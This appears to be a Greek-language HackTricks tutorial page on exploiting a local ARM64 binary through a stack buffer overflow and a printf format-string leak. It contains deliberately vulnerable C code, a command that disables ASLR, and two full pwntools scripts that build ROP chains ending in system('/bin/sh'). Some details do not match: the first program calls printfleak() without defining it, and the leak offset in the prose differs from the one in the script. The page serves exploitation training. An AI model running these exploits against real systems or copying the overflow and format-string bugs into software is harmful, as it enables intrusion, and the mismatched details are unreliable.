Ret2lib + Printf leak - ARM64
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Ret2lib - Παράκαμψη NX με ROP (χωρίς ASLR)
#include <stdio.h>
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
}
Μεταγλώττιση χωρίς canary:
clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Εύρεση offset - x30 offset
Δημιουργώντας ένα pattern με pattern create 200, χρησιμοποιώντας το, και ελέγχοντας για το offset με pattern search $x30, μπορούμε να δούμε ότι το offset είναι 108 (0x6c).
.png)
Ρίχνοντας μια ματιά στην αποσυναρμολογημένη συνάρτηση main, βλέπουμε ότι θα θέλαμε να μεταπηδήσουμε στην εντολή που καλεί απευθείας την printf, της οποίας το offset από το σημείο όπου φορτώνεται το binary είναι 0x860:
.png)
Εύρεση system και /bin/sh συμβολοσειράς
Δεδομένου ότι το ASLR είναι απενεργοποιημένο, οι διευθύνσεις θα είναι πάντα οι ίδιες:
.png)
Εύρεση Gadgets
Πρέπει να έχουμε στον x0 τη διεύθυνση της συμβολοσειράς /bin/sh και να καλέσουμε την system.
Χρησιμοποιώντας το rooper βρέθηκε ένα ενδιαφέρον gadget:
0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
Αυτό το gadget θα φορτώσει το x0 από $sp + 0x18 και στη συνέχεια θα φορτώσει τις διευθύνσεις x29 και x30 από το sp και θα κάνει άλμα στο x30. Έτσι, με αυτό το gadget μπορούμε να ελέγξουμε το πρώτο όρισμα και στη συνέχεια να μεταβούμε στο system.
Exploit
from pwn import *
from time import sleep
p = process('./rop') # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]
def expl_bof(payload):
p.recv()
p.sendline(payload)
# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)
payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)
p.interactive()
p.close()
Ret2lib - NX, ASL & PIE bypass με printf leaks από το stack
#include <stdio.h>
void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
}
Μεταγλωττίστε without canary:
clang -o rop rop.c -fno-stack-protector -Wno-format-security
PIE και ASLR αλλά χωρίς canary
- Γύρος 1:
- Leak του PIE από το stack
- Καταχρήση του bof για επιστροφή στη main
- Γύρος 2:
- Leak της libc από το stack
- ROP: ret2system
Printf leaks
Βάζοντας ένα breakpoint πριν την κλήση της printf, είναι δυνατόν να δει κανείς ότι υπάρχουν διευθύνσεις για επιστροφή στο binary στο stack και επίσης διευθύνσεις της libc:
.png)
Δοκιμάζοντας διαφορετικά offsets, το %21$p μπορεί να leak μια διεύθυνση του binary (PIE bypass) και το %25$p μπορεί να leak μια διεύθυνση της libc:
.png)
Αφαιρώντας τη libc leaked διεύθυνση από τη base address της libc, είναι δυνατόν να δει κανείς ότι το offset της leaked address από τη base είναι 0x49c40.
x30 offset
Δείτε το προηγούμενο παράδειγμα καθώς το bof είναι το ίδιο.
Εύρεση Gadgets
Όπως στο προηγούμενο παράδειγμα, πρέπει να έχουμε στο x0 τη διεύθυνση της συμβολοσειράς /bin/sh και να καλέσουμε το system.
Χρησιμοποιώντας το rooper βρέθηκε ένα ακόμη ενδιαφέρον gadget:
0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
Αυτό το gadget θα φορτώσει το x0 από $sp + 0x78 και στη συνέχεια θα φορτώσει τις διευθύνσεις x29 και x30 από το sp και θα κάνει jump στο x30. Έτσι με αυτό το gadget μπορούμε να ελέγξουμε το πρώτο όρισμα και στη συνέχεια να κάνουμε jump στο system.
Exploit
from pwn import *
from time import sleep
p = process('./rop') # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)
def expl_bof(payload):
p.recv()
p.sendline(payload)
# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")
# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)
# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]
# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)
payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)
p.interactive()
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


